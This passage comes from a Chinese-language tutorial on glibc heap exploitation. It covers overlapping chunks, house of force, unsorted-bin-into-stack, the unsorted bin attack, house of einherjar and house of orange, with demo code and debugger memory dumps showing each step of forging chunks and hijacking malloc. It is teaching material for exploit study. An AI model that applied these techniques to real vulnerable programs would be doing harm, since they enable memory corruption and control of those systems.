0x603430: 0x4242424242424242 0x4242424242424242
0x603440: 0x4242424242424242 0x4242424242424242
0x603450: 0x4242424242424242 0x4242424242424242
0x603460: 0x4242424242424242 0x4242424242424242
0x603470: 0x4242424242424242 0x4242424242424242
0x603480: 0x4242424242424242 0x4242424242424242
PwnLife>

chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。

1
2
3
59   fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
60 fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
61 free(p2);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PwnLife> p p5
$5 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-2
0x603fc0: 0x0000000000000bd0 0x00000000000003f0 <--- prev size / size
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545
0x604000: 0x4545454545454545 0x4545454545454545
0x604010: 0x4545454545454545 0x4545454545454545
0x604020: 0x4545454545454545 0x4545454545454545
0x604030: 0x4545454545454545 0x4545454545454545
0x604040: 0x4545454545454545 0x4545454545454545
0x604050: 0x4545454545454545 0x4545454545454545
PwnLife>

我们会发现,当free 掉 chunk 2 后, chunk 2 ,chunk 3 一起被释放,接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。 chunk 5 的 prev size 也发生了变化。

然后当我们申请一块新chunk的时候,会从 unsorted bin中取出一部分,比如这里我们申请一块 p6

1
p6 = malloc(2000);

即将 chunk 2 chunk 3 的部分拿出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
PwnLife> p p6
$6 = (intptr_t *) 0x603400
PwnLife> x/20gx p6-2
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x00007ffff7dd2138 0x00007ffff7dd2138
0x603410: 0x00000000006033f0 0x00000000006033f0
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
0x603440: 0x4242424242424242 0x4242424242424242
0x603450: 0x4242424242424242 0x4242424242424242
0x603460: 0x4242424242424242 0x4242424242424242
0x603470: 0x4242424242424242 0x4242424242424242
0x603480: 0x4242424242424242 0x4242424242424242

然后 unsorted bin中剩下的部分就是 chunk4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603bd0 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
PwnLife> x/20gx 0x603bd0
0x603bd0: 0x4343434343434343 0x00000000000003f1
0x603be0: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x603bf0: 0x4444444444444444 0x4444444444444444
0x603c00: 0x4444444444444444 0x4444444444444444
0x603c10: 0x4444444444444444 0x4444444444444444
0x603c20: 0x4444444444444444 0x4444444444444444
0x603c30: 0x4444444444444444 0x4444444444444444
0x603c40: 0x4444444444444444 0x4444444444444444
0x603c50: 0x4444444444444444 0x4444444444444444
0x603c60: 0x4444444444444444 0x4444444444444444
PwnLife>

这个时候,chunk 6 和chunk 3就已经是同一块 chunk了。

0x11 house_of_force

Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。

首先随便 malloc 一个 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PwnLife> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
PwnLife>
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000020ef1 <--- top chunk
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000

这个时候我们假设 第一个chunk 有溢出漏洞,我们可以去修改。top chunk 的size

1
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
1
2
3
4
5
6
7
8
9
10
11
PwnLife> x/20gx 0x603100
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0xffffffffffffffff <--- top chunk
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000

我们发现,这个时候size被修改为一个 大数。

现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。

1
2
3
4
67 	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
68 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
69 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
70 void *new_ptr = malloc(evil_size);

这样就成功把。bss_var 给分配了出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
0x602050 PREV_INUSE {
prev_size = 0x0,
size = 0x10b9,
fd = 0x2073692073696854,
bk = 0x676e697274732061,
fd_nextsize = 0x6577207461687420,
bk_nextsize = 0x6f7420746e617720
}
0x603108 {
prev_size = 0x0,
size = 0x0,
fd = 0xffffffffffffef41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
PwnLife> x/20s 0x602050
0x602050: ""
0x602051: ""
0x602052: ""
0x602053: ""
0x602054: ""
0x602055: ""
0x602056: ""
0x602057: ""
0x602058: "\271\020"
0x60205b: ""
0x60205c: ""
0x60205d: ""
0x60205e: ""
0x60205f: ""
0x602060 <bss_var>: "This is a strin"...
0x60206f <bss_var+15>: "g that we want "...
0x60207e <bss_var+30>: "to overwrite."
0x60208c: ""
0x60208d: ""
0x60208e: ""
PwnLife>

该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。

0x12 unsorted_bin_into_stack

unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。

首先,我们得先malloc 一块 chunk,然后 free 掉,将他放到 unsorted bin里。再这之前,我们也得 malloc 一块 作为缓冲的chunk ,避免目标chunk free 掉后被放入到 topchunk里。

1
2
3
4
5
6
7
 9   intptr_t* victim = malloc(0x100);
10
11 fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
12 intptr_t* p1 = malloc(0x100);
13
14 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
15 free(victim);

这个时候 victim 就被放入到了 unsortedbin里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

紧接着,我们在栈上 fake 一个chunk。

1
2
19   stack_buffer[1] = 0x100 + 0x10;
20 stack_buffer[3] = (intptr_t)stack_buffer;
1
2
3
4
PwnLife> p stack_buffer
$3 = {0x0, 0x110, 0x0, 0x7fffffffe3f0}
PwnLife> p &stack_buffer
$4 = (intptr_t (*)[4]) 0x7fffffffe3f0

让伪造的 chunk 的bk 指向自身。

然后我们假设,此时有一个 堆溢出漏洞,可以修改 victim chunk的内容。

1
2
3
4
24   fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
25 victim[-1] = 32;
26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
27 //------------------------------------

我们通过 溢出漏洞修改 victim chunk 的bk,但此前,我们得 pass 一个check

1
Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
1
2
25   victim[-1] = 32;
26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

之后,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PwnLife> p victim
$6 = (intptr_t *) 0x602010
PwnLife> x/20gx victim
0x602010: 0x00007ffff7dd1b58 0x00007fffffffe3f0
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx victim-2
0x602000: 0x0000000000000000 0x0000000000000020
0x602010: 0x00007ffff7dd1b58 0x00007fffffffe3f0 <--- fd,bk /bk --> fake chunk
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx 0x00007fffffffe3f0 <--- fake chunk
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000110
0x7fffffffe400: 0x0000000000000000 0x00007fffffffe3f0
0x7fffffffe410: 0x00007fffffffe500 0x3fe51d8840ce6c00
0x7fffffffe420: 0x0000000000400860 0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000 0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488 0x0000000000400686
0x7fffffffe450: 0x0000000000000000 0xda692c6b09ba7393
0x7fffffffe460: 0x0000000000400590 0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0x2596d314d11a7393 0x2596c3ad1e287393

那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
largebins
empty

fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。

1
2
3
29   fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
30 intptr_t* fake = malloc(0x100); // malloc a new chunk from fake chunk.
31 fprintf(stderr, "malloc(0x100): %p\n", fake);
1
2
3
4
5
6
7
8
9
10
11
PwnLife> x/20gx fake-2
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000110 <-- chunk
0x7fffffffe400: 0x00007ffff7dd1b58 0x00007fffffffe3f0 <---fd ,bk //new fd ---> 0x7ffff7dd1b58
0x7fffffffe410: 0x00007fffffffe500 0x29b3145efbaf1600
0x7fffffffe420: 0x0000000000400860 0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000 0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488 0x0000000000400686
0x7fffffffe450: 0x0000000000000000 0x595c9e280b1d3a76
0x7fffffffe460: 0x0000000000400590 0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0xa6a36157d3bd3a76 0xa6a371ee1c8f3a76

0x13 unsorted_bin_attack

unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。

unlink 的对 unsorted bin 的操作是这样的:

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

首先,分配 两个 chunk,释放第一个 使其加入到 unstorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

紧接着,我假设我们有堆溢出漏洞

1
2
3
25 	p[1]=(unsigned long)(&stack_var-2);
26 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
27 fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

去修改,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PwnLife> p p
$1 = (unsigned long *) 0x602010
PwnLife> x/20gx p
0x602010: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx p[1]
0x7ffff7dd1b58 <main_arena+88>: 0x00000000006023a0 0x0000000000000000
0x7ffff7dd1b68 <main_arena+104>: 0x0000000000602000 0x0000000000602000
0x7ffff7dd1b78 <main_arena+120>: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88 <main_arena+136>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+152>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+168>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+184>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+200>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+216>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8
0x7ffff7dd1be8 <main_arena+232>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8

此时,chunk 1的 bk已经被修改

1
2
3
4
5
6
7
8
9
PwnLife> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 417,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7fffffffe3c8,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后我们 malloc 一块新 chunk,这个时候,系统为循着 bk去 malloc一块新chunk

1
2
3
4
5
6
7
8
9
10
11
PwnLife> x/20gx &stack_var-2
0x7fffffffe3c8: 0x000000000040081a 0x0000000000400880 <--- fake chunk
0x7fffffffe3d8: 0x00007ffff7dd1b58 0x0000000000602010 <--- fd
0x7fffffffe3e8: 0x3cc687447353a200 0x0000000000400880
0x7fffffffe3f8: 0x00007ffff7a303f1 0x0000000000040000
0x7fffffffe408: 0x00007fffffffe4d8 0x00000001f7b9a488
0x7fffffffe418: 0x0000000000400686 0x0000000000000000
0x7fffffffe428: 0x577f97b5f5d4f6ba 0x0000000000400590
0x7fffffffe438: 0x00007fffffffe4d0 0x0000000000000000
0x7fffffffe448: 0x0000000000000000 0xa88068ca2cd4f6ba
0x7fffffffe458: 0xa8807873e386f6ba 0x0000000000000000

0x14 house_of_einherjar

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。

它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。

首先,我们先 malloc 一个chunk

1
a = (uint8_t*) malloc(0x38);

然后,我们fake一个chunk ,用来之后 free 掉 next chunk的时候,让合并后的堆块到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p fake_chunk
$1 = {256, 256, 140737488348080, 140737488348080, 140737488348080, 140737488348080}
pwndbg> x/20gx &fake_chunk
0x7fffffffe3b0: 0x0000000000000100 0x0000000000000100
0x7fffffffe3c0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0 0x3c402f70cff21400
0x7fffffffe3f0: 0x0000000000400bf0 0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000 0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488 0x00000000004006d6
0x7fffffffe420: 0x0000000000000000 0x86f4a78e4a5b6ea9
0x7fffffffe430: 0x00000000004005e0 0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000 0x0000000000000000

然后,在 malloc 一个 chunk

1
b = (uint8_t*) malloc(0xf8);

紧接着,我们假设有个 堆溢出漏洞。

1
2
3
4
66 	fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
67 fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
68 fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
69 a[real_a_size] = 0;

修改掉 chunk b 的size

1
2
3
4
5
6
7
8
0x603040 PREV_INUSE {
prev_size = 0,
size = 256, // 257 --> 256
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后还得让 prev_size 字段为 fake chunk 的大小

1
2
pwndbg> p fake_chunk
$8 = {256, 18446603336227507344, 140737488348080, 140737488348080, 140737488348080, 140737488348080}

chunk b的 prev_size 字段,用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配:

1
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

chunk b

1
2
3
4
5
6
7
8
0x603040 {
prev_size = 18446603336227507344, // 0 -> 18446603336227507344
size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后我们 free 掉 chunk b

1
2
3
88     fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
89 free(b);
90 fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

然后,我们会发现 top chunk 变了,top chunk -> fake_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> p main_arena
$9 = {
mutex = 0,
flags = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x7fffffffe3b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bc8 <main_arena+200>...},
binmap = {0, 0, 0, 0},
next = 0x7ffff7dd1b00 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
pwndbg> p &fake_chunk
$10 = (size_t (*)[6]) 0x7fffffffe3b0

由于,我们释放 chunk b,这时因为 PREV_INUSE 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。

这意味着,当我们 再去 malloc 一块 新chunk的时候,将会是 fake chunk 的位置。

1
2
103     fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
104 d = malloc(0x200);

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/20gx fake_chunk
0x7fffffffe3b0: 0x0000000000000100 0x0000000000000211
0x7fffffffe3c0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0 0xc6f3cea232483100
0x7fffffffe3f0: 0x0000000000400bf0 0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000 0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488 0x00000000004006d6
0x7fffffffe420: 0x0000000000000000 0x0575c70b1ba71a36
0x7fffffffe430: 0x00000000004005e0 0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000 0x0000000000000000
pwndbg> p d
$14 = (uint8_t *) 0x7fffffffe3c0 "\260\343\377\377\377\177"

值得一提的是,这里绕过 unlink 检查的时候,直接:

1
2
p->fd = p
p->bk = p

0x15 house of orange

House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。 这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。

我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold

1
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。

为了能够调用 sysmalloc() 中的 _int_free(),需要 top chunk 大于 MINSIZE,即 0x10

当然,还得绕过下面两个限制条件:

1
2
3
4
5
6
7
8
9
10
11
12
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

即满足 old_size 小于 nb+MINSIZEPREV_INUSE 标志位为 1,old_top+old_size 页对齐这几个条件。

我们总结一下伪造的top chunk size的要求

1.伪造的size必须要对齐到内存页

2.size要大于MINSIZE(0x10)

3.size要小于之后申请的chunk size + MINSIZE(0x10)

4.size的prev inuse位必须为1

之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中。

在这个例子中:

我们首先 malloc 一个 0x400 的chunk

1
p1 = malloc(0x400-16);
1
2
3
4
5
6
7
8
9
PwnLife> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 1025, // hex(1025) == 0x401
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

通常情况下 ,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PwnLife> top_chunk
0x602400 PREV_INUSE {
prev_size = 0,
size = 134145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
PwnLife> x/20gx 0x602400
0x602400: 0x0000000000000000 0x0000000000020c01 <--- top chunk // size
0x602410: 0x0000000000000000 0x0000000000000000
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000000000
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
PwnLife>

此时,我们假设有溢出漏洞:

1
2
72     top = (size_t *) ( (char *) p1 + 0x400 - 16);
73 top[1] = 0xc01;

将top chunk 的size 改为 0xc01 ,这样就能满足上面总结的条件。

之后,我们申请的 0x1000 size 的 chunk

1
p2 = malloc(0x1000);

0x1000 > 0xc01 , 又由于 top chunk 的伪造满足条件,紧接着原有的 top chunk 会被放到 unsorted bins里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

我们看下此时 heap 的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PwnLife> x/4gx p1-0x10+0x400
0x602400: 0x0000000000000000 0x0000000000000be1 <--- old top chunk
0x602410: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
PwnLife> x/4gx p1-0x10+0x400+0xbe0
0x602fe0: 0x0000000000000be0 0x0000000000000010 <---- fencepost chunk 1
0x602ff0: 0x0000000000000000 0x0000000000000011 <---- fencepost chunk 2
PwnLife> x/4gx p2-0x10
0x623000: 0x0000000000000000 0x0000000000001011 <---- chunk p2
0x623010: 0x0000000000000000 0x0000000000000000
PwnLife> x/4gx p2-0x10+0x1010
0x624010: 0x0000000000000000 0x0000000000020ff1 <---- new top chunk
0x624020: 0x0000000000000000 0x0000000000000000
PwnLife> unsortedbin
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
PwnLife>

另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。

根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10

1
top[3] = io_list_all - 0x10;
1
2
3
4
5
6
7
8
0x602400 PREV_INUSE {
prev_size = 0,
size = 3041,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd24f0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
1
2
3
4
5
6
7
8
9
10
11
PwnLife> x/20gx 0x7ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd2520 0x0000000000000000
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25a3
